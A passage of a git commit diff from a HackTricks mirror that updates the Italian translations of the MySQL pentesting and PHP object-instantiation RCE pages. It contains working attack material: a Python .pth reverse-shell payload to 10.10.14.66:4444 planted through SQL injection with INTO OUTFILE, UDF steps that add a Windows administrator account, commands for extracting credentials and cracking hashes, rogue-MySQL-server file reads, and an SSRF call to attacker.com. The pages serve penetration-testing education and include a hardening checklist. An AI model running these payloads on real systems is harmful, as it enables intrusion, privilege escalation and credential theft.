maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-web/content-security-policy-csp-bypass/R

Browse Source
This commit is contained in:
Translator 2025-09-03 19:06:15 +00:00
parent 4827e41ad7
commit efc3fbdbc2
6 changed files with 588 additions and 524 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

150
src/network-services-pentesting/pentesting-mysql.md
View File

@ -4,13 +4,13 @@
## **Informazioni di base**
**MySQL** può essere descritto come un **Sistema di Gestione di Database Relazionali (RDBMS)** open source disponibile gratuitamente. Funziona con il **Linguaggio di Query Strutturato (SQL)**, consentendo la gestione e la manipolazione dei database.
**MySQL** può essere descritto come un sistema di gestione di database relazionali open source (**RDBMS**) disponibile gratuitamente. Funziona con il linguaggio di query strutturato (**SQL**), permettendo la gestione e la manipolazione dei database.
**Porta predefinita:** 3306
```
3306/tcp open mysql
```
## **Connetti**
## **Connessione**
### **Locale**
```bash
@ -36,7 +36,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
### Scrivi qualsiasi dato binario
### Scrivere qualsiasi dato binario
```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
```
Puoi vedere nella documentazione il significato di ciascun privilegio: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
Puoi consultare la documentazione per il significato di ciascun privilegio: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
### MySQL File RCE
@ -110,59 +110,57 @@ Puoi vedere nella documentazione il significato di ciascun privilegio: [https://
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}}
#### INTO OUTFILE → Esecuzione di codice remoto in Python `.pth` (hook di configurazione specifici del sito)
#### INTO OUTFILE → Python `.pth` RCE (hook di configurazione specifici per sito)
Abusando del classico `INTO OUTFILE` è possibile ottenere *l'esecuzione di codice arbitrario* su obiettivi che successivamente eseguono script **Python**.
Abusando della classica `INTO OUTFILE` primitive è possibile ottenere *arbitrary code execution* su target che successivamente eseguono script **Python**.
1. Usa `INTO OUTFILE` per creare un file **`.pth`** personalizzato all'interno di qualsiasi directory caricata automaticamente da `site.py` (ad es. `.../lib/python3.10/site-packages/`).
1. Usare `INTO OUTFILE` per depositare un file personalizzato **`.pth`** in qualsiasi directory caricata automaticamente da `site.py` (es. `.../lib/python3.10/site-packages/`).
2. Il file `.pth` può contenere una *singola riga* che inizia con `import ` seguita da codice Python arbitrario che verrà eseguito ogni volta che l'interprete si avvia.
3. Quando l'interprete viene eseguito implicitamente da uno script CGI (ad esempio `/cgi-bin/ml-draw.py` con shebang `#!/bin/python`), il payload viene eseguito con gli stessi privilegi del processo del server web (FortiWeb lo ha eseguito come **root** → RCE completa pre-autenticazione).
3. Quando l'interprete viene eseguito implicitamente da uno script CGI (ad esempio `/cgi-bin/ml-draw.py` con shebang `#!/bin/python`) il payload viene eseguito con gli stessi privilegi del processo del web-server (FortiWeb lo ha eseguito come **root** → full pre-auth RCE).
Esempio di payload `.pth` (singola riga, non possono essere inclusi spazi nel payload SQL finale, quindi potrebbe essere necessario l'uso di hex/`UNHEX()` o concatenazione di stringhe):
Esempio di payload `.pth` (singola riga, non possono essere inclusi spazi nel payload SQL finale, quindi potrebbe essere necessario usare hex/`UNHEX()` o concatenazione di stringhe):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
Esempio di creazione del file tramite una query **UNION** (i caratteri di spazio sono sostituiti con `/**/` per bypassare un filtro di spazio `sscanf("%128s")` e mantenere la lunghezza totale ≤128 byte):
Esempio di creazione del file tramite una query **UNION** (i caratteri di spazio sostituiti con `/**/` per bypassare un filtro di spazi `sscanf("%128s")` e mantenere la lunghezza totale ≤128 byte):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
Limitazioni importanti e bypass:
Limitazioni importanti & bypasses:
* `INTO OUTFILE` **non può sovrascrivere** file esistenti; scegliere un nuovo nome file.
* Il percorso del file è risolto **rispetto alla CWD di MySQL**, quindi anteporre `../../` aiuta ad accorciare il percorso e bypassare le restrizioni sui percorsi assoluti.
* Se l'input dell'attaccante è estratto con `%128s` (o simile) qualsiasi spazio troncerebbe il payload; utilizzare le sequenze di commento di MySQL `/**/` o `/*!*/` per sostituire gli spazi.
* L'utente MySQL che esegue la query ha bisogno del privilegio `FILE`, ma in molti dispositivi (ad es. FortiWeb) il servizio viene eseguito come **root**, dando accesso in scrittura quasi ovunque.
* `INTO OUTFILE` **non può sovrascrivere** file esistenti; scegliere un nuovo nome del file.
* Il percorso del file viene risolto **relativamente alla CWD di MySQL**, quindi anteporre `../../` aiuta ad accorciare il percorso e bypassare le restrizioni sui percorsi assoluti.
* Se l'input dell'attaccante viene letto con `%128s` (o simile) qualsiasi spazio troncherà il payload; usare le sequenze di commento di MySQL `/**/` o `/*!*/` per sostituire gli spazi.
* L'utente MySQL che esegue la query necessita del privilegio `FILE`, ma in molti appliance (es. FortiWeb) il servizio gira come **root**, concedendo l'accesso in scrittura quasi ovunque.
Dopo aver eliminato il `.pth`, basta richiedere qualsiasi CGI gestito dall'interprete python per ottenere l'esecuzione del codice:
Dopo aver inserito il `.pth`, basta richiedere qualsiasi CGI gestito dal python interpreter per ottenere code execution:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
Il processo Python importerà automaticamente il `.pth` malevolo ed eseguirà il payload della shell.
Il processo Python importerà automaticamente il `.pth` malevolo ed eseguirà il shell payload.
```
# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
```
---
## MySQL lettura arbitraria di file da parte del client
In realtà, quando provi a **caricare dati localmente in una tabella** il **contenuto di un file**, il server MySQL o MariaDB chiede al **client di leggerlo** e inviare il contenuto. **Quindi, se riesci a manomettere un client mysql per connetterti al tuo server MySQL, puoi leggere file arbitrari.**\
Si prega di notare che questo è il comportamento utilizzando:
Infatti, quando provi a **load data local into a table** il **contenuto di un file**, il server MySQL o MariaDB chiede al **client** di leggerlo e inviarne il contenuto. **Quindi, se riesci a manomettere un mysql client per connettersi al tuo server MySQL, puoi leggere file arbitrari.**\
Nota che questo è il comportamento utilizzando:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
(Nota la parola "locale")\
Perché senza "locale" puoi ottenere:
(Nota la parola "local")\
Perché senza "local" puoi ottenere:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**PoC iniziale:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**In questo documento puoi vedere una descrizione completa dell'attacco e persino come estenderlo a RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**In questo articolo puoi vedere una descrizione completa dell'attacco e anche come estenderlo a RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Qui puoi trovare una panoramica dell'attacco:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
​
@ -178,18 +176,18 @@ Sarà molto interessante se mysql è in esecuzione come **root**:
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```
#### Impostazioni pericolose di mysqld.cnf
#### Dangerous Settings of mysqld.cnf
Nella configurazione dei servizi MySQL, vengono impiegate varie impostazioni per definire il suo funzionamento e le misure di sicurezza:
Nella configurazione dei servizi MySQL, sono usate diverse impostazioni per definire il suo funzionamento e le misure di sicurezza:
- L'impostazione **`user`** è utilizzata per designare l'utente sotto il quale il servizio MySQL verrà eseguito.
- **`password`** è applicata per stabilire la password associata all'utente MySQL.
- **`admin_address`** specifica l'indirizzo IP che ascolta le connessioni TCP/IP sull'interfaccia di rete amministrativa.
- La variabile **`debug`** è indicativa delle attuali configurazioni di debug, inclusa l'informazione sensibile all'interno dei log.
- **`sql_warnings`** gestisce se vengono generate stringhe informative per le istruzioni INSERT a riga singola quando emergono avvisi, contenendo dati sensibili all'interno dei log.
- Con **`secure_file_priv`**, l'ambito delle operazioni di importazione ed esportazione dei dati è limitato per migliorare la sicurezza.
- The **`user`** setting is utilized for designating the user under which the MySQL service will be executed.
- **`password`** is applied for establishing the password associated with the MySQL user.
- **`admin_address`** specifies the IP address that listens for TCP/IP connections on the administrative network interface.
- The **`debug`** variable is indicative of the present debugging configurations, including sensitive information within logs.
- **`sql_warnings`** manages whether information strings are generated for single-row INSERT statements when warnings emerge, containing sensitive data within logs.
- With **`secure_file_priv`**, the scope of data import and export operations is constrained to enhance security.
### Escalation dei privilegi
### Privilege escalation
```bash
# Get current user (an all users) privileges and hashes
use mysql;
@ -209,16 +207,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
```
### Privilege Escalation via library
Se il **server mysql è in esecuzione come root** (o un altro utente con privilegi superiori) puoi farlo eseguire comandi. Per questo, devi usare **funzioni definite dall'utente**. E per creare una funzione definita dall'utente avrai bisogno di una **libreria** per il sistema operativo che esegue mysql.
Se il **mysql server is running as root** (o un altro utente con privilegi più elevati) puoi farlo eseguire comandi. Per questo, devi usare le **user defined functions**. E per crearne una avrai bisogno di una **library** per il sistema operativo che esegue mysql.
La libreria malevola da utilizzare può essere trovata all'interno di sqlmap e dentro metasploit eseguendo **`locate "*lib_mysqludf_sys*"`**. I file **`.so`** sono librerie **linux** e i **`.dll`** sono quelli per **Windows**, scegli quello di cui hai bisogno.
La library malevola da usare può essere trovata all'interno di sqlmap e di metasploit eseguendo **`locate "*lib_mysqludf_sys*"`**. I file **`.so`** sono librerie **linux** e i **`.dll`** sono quelli **Windows**; scegli quella di cui hai bisogno.
Se **non hai** quelle librerie, puoi **cercarle**, oppure scaricare questo [**codice C per linux**](https://www.exploit-db.com/exploits/1518) e **compilarlo all'interno della macchina vulnerabile linux**:
Se **non hai** quelle library, puoi o **cercarle**, oppure scaricare questo [**linux C code**](https://www.exploit-db.com/exploits/1518) e **compilarlo nella macchina linux vulnerabile**:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
Ora che hai la libreria, accedi a Mysql come utente privilegiato (root?) e segui i passaggi successivi:
Ora che hai la libreria, effettua l'accesso a Mysql come utente privilegiato (root?) e segui i passaggi seguenti:
#### Linux
```sql
@ -252,15 +250,24 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
### Estrazione delle credenziali MySQL dai file
#### Suggerimento Windows: creare directory con NTFS ADS da SQL
Su NTFS puoi forzare la creazione di directory usando un alternate data stream anche quando è disponibile solo una primitiva di scrittura su file. Se la classic UDF chain si aspetta una directory `plugin` ma questa non esiste e `@@plugin_dir` è sconosciuto o bloccato, puoi crearla prima con `::$INDEX_ALLOCATION`:
```sql
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
```
Questo trasforma il limitato `SELECT ... INTO OUTFILE` in una primitiva più completa sugli stack Windows creando la struttura di cartelle necessaria per i drop di UDF.
### Estrazione delle credenziali MySQL da file
All'interno di _/etc/mysql/debian.cnf_ puoi trovare la **password in chiaro** dell'utente **debian-sys-maint**
```bash
cat /etc/mysql/debian.cnf
```
Puoi **utilizzare queste credenziali per accedere al database mysql**.
Puoi **usare queste credentials per effettuare il login nel database mysql**.
All'interno del file: _/var/lib/mysql/mysql/user.MYD_ puoi trovare **tutti gli hash degli utenti MySQL** (quelli che puoi estrarre da mysql.user all'interno del database)_._
All'interno del file: _/var/lib/mysql/mysql/user.MYD_ puoi trovare **tutti gli hash degli utenti MySQL** (quelli che puoi estrarre da mysql.user all'interno del database).
Puoi estrarli eseguendo:
```bash
@ -268,7 +275,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
```
### Abilitare il logging
Puoi abilitare il logging delle query mysql all'interno di `/etc/mysql/my.cnf` decommentando le seguenti righe:
È possibile abilitare il logging delle query MySQL all'interno di `/etc/mysql/my.cnf` decommentando le seguenti righe:
![](<../images/image (899).png>)
@ -289,14 +296,14 @@ File di configurazione
- /var/lib/mysql/my.cnf
- \~/.my.cnf
- /etc/my.cnf
- Cronologia comandi
- Cronologia dei comandi
- \~/.mysql.history
- File di log
- connections.log
- update.log
- common.log
## Database/Tabelle MySQL predefiniti
## Database/Tabelle predefinite di MySQL
{{#tabs}}
{{#tab name="information_schema"}}
@ -601,13 +608,13 @@ x$statements\_with\_errors\_or\_warnings\
x$statements_with_full_table_scans\
x$statements\_with\_runtimes\_in\_95th\_percentile\
x$statements_with_sorting\
x$statements\_with\_temp\_tables\
x$statements_with_temp_tables\
x$user_summary\
x$user\_summary\_by\_file\_io\
x$user_summary_by_file_io_type\
x$user\_summary\_by\_stages\
x$user_summary_by_statement_latency\
x$user\_summary\_by\_statement\_type\
x$user\_summary_by_statement_type\
x$wait_classes_global_by_avg_latency\
x$wait\_classes\_global\_by\_latency\
x$waits_by_host_by_latency\
@ -616,7 +623,7 @@ x$waits_global_by_latency
{{#endtab}}
{{#endtabs}}
## HackTricks Comandi Automatici
## Comandi automatici HackTricks
```
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
@ -647,36 +654,36 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## 2023-2025 Highlights (new)
## 2023-2025 Punti salienti (nuovo)
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
A partire da Connector/J <= 8.0.32, un attaccante che può influenzare il **JDBC URL** (ad esempio in software di terze parti che richiede una stringa di connessione) può richiedere il caricamento di classi arbitrarie sul lato *client* tramite il parametro `propertiesTransform`. Se un gadget presente nel class-path è caricabile, questo porta a **esecuzione di codice remoto nel contesto del client JDBC** (pre-autenticazione, poiché non sono necessarie credenziali valide). Un PoC minimo appare così:
Da Connector/J <= 8.0.32 un attacker che può influenzare la **JDBC URL** (per esempio in software di terze parti che chiede una connection string) può richiedere il caricamento di classi arbitrarie sul *client* tramite il parametro `propertiesTransform`. Se un gadget presente nel class-path è caricabile, questo porta a **remote code execution nel contesto del JDBC client** (pre-auth, perché non sono richieste credenziali valide). Un PoC minimale è il seguente:
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
Eseguire `Evil.class` può essere facile come posizionarlo nel class-path dell'applicazione vulnerabile o lasciare che un server MySQL malevolo invii un oggetto serializzato dannoso. Il problema è stato risolto in Connector/J 8.0.33 – aggiorna il driver o imposta esplicitamente `propertiesTransform` su una lista di autorizzazione.
(Vedi il report di Snyk per i dettagli)
Eseguire `Evil.class` può essere semplice come metterlo nel class-path dell'applicazione vulnerabile o permettere a un rogue MySQL server di inviare un oggetto serializzato malevolo. Il problema è stato risolto in Connector/J 8.0.33 – aggiorna il driver o imposta esplicitamente `propertiesTransform` in una allow-list.
(Vedi Snyk write-up per i dettagli)
### Attacchi di server MySQL falsi / malevoli contro i client JDBC
Diversi strumenti open-source implementano un protocollo MySQL *parziale* per attaccare i client JDBC che si connettono verso l'esterno:
### Rogue / Fake MySQL server attacks contro client JDBC
Diversi strumenti open-source implementano un protocollo MySQL *parziale* per attaccare client JDBC che si connettono verso l'esterno:
* **mysql-fake-server** (Java, supporta exploit di lettura file e deserializzazione)
* **rogue_mysql_server** (Python, capacità simili)
* **mysql-fake-server** (Java, supports file read and deserialization exploits)
* **rogue_mysql_server** (Python, similar capabilities)
Percorsi di attacco tipici:
1. L'applicazione vittima carica `mysql-connector-j` con `allowLoadLocalInfile=true` o `autoDeserialize=true`.
2. L'attaccante controlla DNS / voce host in modo che il nome host del DB si risolva in una macchina sotto il suo controllo.
3. Il server malevolo risponde con pacchetti creati ad hoc che attivano la lettura di file arbitrari `LOCAL INFILE` o la deserializzazione Java → RCE.
2. L'attaccante controlla DNS / host entry in modo che il nome host del DB risolva su una macchina sotto il suo controllo.
3. Il server malevolo risponde con pacchetti costruiti che innescano o la lettura arbitraria di file tramite `LOCAL INFILE` o Java deserialization → RCE.
Esempio di one-liner per avviare un server falso (Java):
Esempio di one-liner per avviare un fake server (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
Poi punta l'applicazione vittima a `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` e leggi `/etc/passwd` codificando il nome del file in base64 nel campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
Quindi indirizza l'applicazione vittima a `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` e leggi `/etc/passwd` codificando il nome del file in base64 nel campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### Cracking `caching_sha2_password` hashes
MySQL ≥ 8.0 memorizza gli hash delle password come **`$mysql-sha2$`** (SHA-256). Sia Hashcat (modalità **21100**) che John-the-Ripper (`--format=mysql-sha2`) supportano il cracking offline dal 2023. Dumpa la colonna `authentication_string` e alimentala direttamente:
MySQL ≥ 8.0 memorizza gli hash delle password come **`$mysql-sha2$`** (SHA-256). Sia Hashcat (mode **21100**) che John-the-Ripper (`--format=mysql-sha2`) supportano offline cracking dal 2023. Esegui il dump della colonna `authentication_string` e forniscila direttamente:
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
@ -685,20 +692,23 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### Hardening checklist (2025)
• Imposta **`LOCAL_INFILE=0`** e **`--secure-file-priv=/var/empty`** per eliminare la maggior parte delle primitive di lettura/scrittura file.
• Rimuovi il privilegio **`FILE`** dagli account delle applicazioni.
• Su Connector/J imposta `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vuoto).
• Disabilita i plugin di autenticazione non utilizzati e **richiedi TLS** (`require_secure_transport = ON`).
• Monitora per `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` e improvvisi comandi `SET GLOBAL`.
### Checklist di hardening (2025)
• Impostare **`LOCAL_INFILE=0`** e **`--secure-file-priv=/var/empty`** per eliminare la maggior parte delle primitive di lettura/scrittura dei file.
• Rimuovere il privilegio **`FILE`** dagli account delle applicazioni.
• Su Connector/J impostare `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vuoto).
• Disabilitare i plugin di autenticazione non utilizzati e richiedere **TLS** (`require_secure_transport = ON`).
• Monitorare la presenza di `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` e improvvisi statement `SET GLOBAL`.
---
## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
## Riferimenti
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}

76
src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
View File

@ -1,18 +1,18 @@
# PHP - RCE abusando della creazione di oggetti: new $\_GET\["a"]\($\_GET\["b"])
# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
{{#include ../../../banners/hacktricks-training.md}}
Questo è fondamentalmente un riassunto di [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
This is basically a summary of [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
## Introduzione
La creazione di nuovi oggetti arbitrari, come `new $_GET["a"]($_GET["a"])`, può portare a Remote Code Execution (RCE), come dettagliato in un [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Questo documento evidenzia varie strategie per ottenere RCE.
La creazione di nuovi oggetti arbitrari, come `new $_GET["a"]($_GET["a"])`, può portare a Remote Code Execution (RCE), come dettagliato in una [**analisi**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Questo documento evidenzia varie strategie per ottenere RCE.
## RCE tramite Classi Personalizzate o Autoloading
## RCE via Custom Classes or Autoloading
La sintassi `new $a($b)` viene utilizzata per istanziare un oggetto dove **`$a`** rappresenta il nome della classe e **`$b`** è il primo argomento passato al costruttore. Queste variabili possono provenire da input dell'utente come GET/POST, dove possono essere stringhe o array, o da JSON, dove potrebbero presentarsi come altri tipi.
La sintassi `new $a($b)` è usata per istanziare un oggetto dove **`$a`** rappresenta il nome della classe e **`$b`** è il primo argomento passato al costruttore. Queste variabili possono essere ottenute da input utente come GET/POST, dove possono essere stringhe o array, o da JSON, dove possono presentarsi come altri tipi.
Considera il frammento di codice qui sotto:
Considera lo snippet di codice sotto:
```php
class App {
function __construct ($cmd) {
@ -31,9 +31,9 @@ $b = $_GET['b'];
new $a($b);
```
In questo caso, impostare `$a` su `App` o `App2` e `$b` su un comando di sistema (ad esempio, `uname -a`) porta all'esecuzione di quel comando.
In questo caso, impostare `$a` su `App` o `App2` e `$b` su un comando di sistema (ad es., `uname -a`) provoca l'esecuzione di quel comando.
**Le funzioni di autoloading** possono essere sfruttate se tali classi non sono direttamente accessibili. Queste funzioni caricano automaticamente le classi dai file quando necessario e sono definite utilizzando `spl_autoload_register` o `__autoload`:
**Funzioni di autoloading** possono essere sfruttate se tali classi non sono direttamente accessibili. Queste funzioni caricano automaticamente le classi da file quando necessario e sono definite usando `spl_autoload_register` o `__autoload`:
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
@ -45,25 +45,25 @@ include $class_name . '.php';
spl_autoload_register();
```
Il comportamento del caricamento automatico varia con le versioni di PHP, offrendo diverse possibilità di RCE.
Il comportamento dell'autoloading varia tra le versioni di PHP, offrendo diverse possibilità di RCE.
## RCE tramite Classi Incorporate
## RCE tramite classi built-in
In assenza di classi personalizzate o caricatori automatici, **le classi incorporate di PHP** possono essere sufficienti per RCE. Il numero di queste classi varia tra 100 e 200, a seconda della versione di PHP e delle estensioni. Possono essere elencate utilizzando `get_declared_classes()`.
In assenza di classi personalizzate o di autoloader, **le classi built-in di PHP** possono essere sufficienti per ottenere RCE. Il numero di queste classi varia tra 100 e 200, a seconda della versione di PHP e delle estensioni. Possono essere elencate usando `get_declared_classes()`.
I costruttori di interesse possono essere identificati tramite l'API di riflessione, come mostrato nel seguente esempio e nel link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
I costruttori di interesse possono essere identificati tramite la reflection API, come mostrato nel seguente esempio e nel link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
**RCE tramite metodi specifici include:**
Esempi di RCE tramite metodi specifici:
### **SSRF + Deserializzazione Phar**
### **SSRF + Phar Deserialization**
La classe `SplFileObject` consente SSRF tramite il suo costruttore, permettendo connessioni a qualsiasi URL:
La classe `SplFileObject` permette SSRF tramite il suo costruttore, consentendo connessioni a qualsiasi URL:
```php
new SplFileObject('http://attacker.com/');
```
SSRF può portare a attacchi di deserializzazione nelle versioni di PHP precedenti alla 8.0 utilizzando il protocollo Phar.
SSRF può portare a deserialization attacks nelle versioni di PHP precedenti alla 8.0 usando il protocollo Phar.
### **Sfruttare i PDO**
### **Exploiting PDOs**
Il costruttore della classe PDO consente connessioni a database tramite stringhe DSN, potenzialmente abilitando la creazione di file o altre interazioni:
```php
@ -71,26 +71,50 @@ new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
Le versioni di PHP fino alla 5.3.22 e 5.4.12 erano suscettibili ad attacchi XXE attraverso i costruttori `SoapClient` e `SimpleXMLElement`, a seconda della versione di libxml2.
Le versioni di PHP fino a 5.3.22 e 5.4.12 erano suscettibili agli attacchi XXE tramite i costruttori `SoapClient` e `SimpleXMLElement`, a seconda della versione di libxml2.
## RCE tramite estensione Imagick
## RCE via Imagick Extension
Nell'analisi delle **dipendenze di un progetto**, è stato scoperto che **Imagick** poteva essere sfruttato per **l'esecuzione di comandi** creando nuovi oggetti. Questo presenta un'opportunità per sfruttare vulnerabilità.
Nell'analisi delle **dipendenze del progetto** è stato scoperto che **Imagick** poteva essere sfruttato per **command execution** istanziando nuovi oggetti. Questo rappresenta un'opportunità per sfruttare vulnerabilità.
### Parser VID
### VID parser
È stata identificata la capacità del parser VID di scrivere contenuti in qualsiasi percorso specificato nel filesystem. Questo potrebbe portare al posizionamento di una shell PHP in una directory accessibile via web, ottenendo l'Esecuzione Remota di Codice (RCE).
È stata identificata la capacità del VID parser di scrivere contenuti in qualsiasi percorso specificato del filesystem. Questo potrebbe portare al posizionamento di una shell PHP in una directory accessibile via web, ottenendo Remote Code Execution (RCE).
#### Parser VID + Caricamento File
#### VID Parser + File Upload
Si nota che PHP memorizza temporaneamente i file caricati in `/tmp/phpXXXXXX`. Il parser VID in Imagick, utilizzando il protocollo **msl**, può gestire caratteri jolly nei percorsi dei file, facilitando il trasferimento del file temporaneo in una posizione scelta. Questo metodo offre un ulteriore approccio per ottenere la scrittura arbitraria di file all'interno del filesystem.
Si osserva che PHP memorizza temporaneamente i file caricati in `/tmp/phpXXXXXX`. Il VID parser in Imagick, utilizzando il protocollo **msl**, può gestire wildcard nei percorsi dei file, facilitando il trasferimento del file temporaneo in una posizione scelta. Questo metodo offre un approccio aggiuntivo per ottenere la scrittura arbitraria di file all'interno del filesystem.
### Crash PHP + Brute Force
### PHP Crash + Brute Force
Un metodo descritto nel [**writeup originale**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) prevede il caricamento di file che provocano un crash del server prima della cancellazione. Forzando il nome del file temporaneo, diventa possibile per Imagick eseguire codice PHP arbitrario. Tuttavia, questa tecnica è stata trovata efficace solo in una versione obsoleta di ImageMagick.
Un metodo descritto nel [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) prevede il caricamento di file che causano il crash del server prima della loro cancellazione. Bruteforcando il nome del file temporaneo, diventa possibile per Imagick eseguire codice PHP arbitrario. Tuttavia, questa tecnica si è rivelata efficace solo in una versione obsoleta di ImageMagick.
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
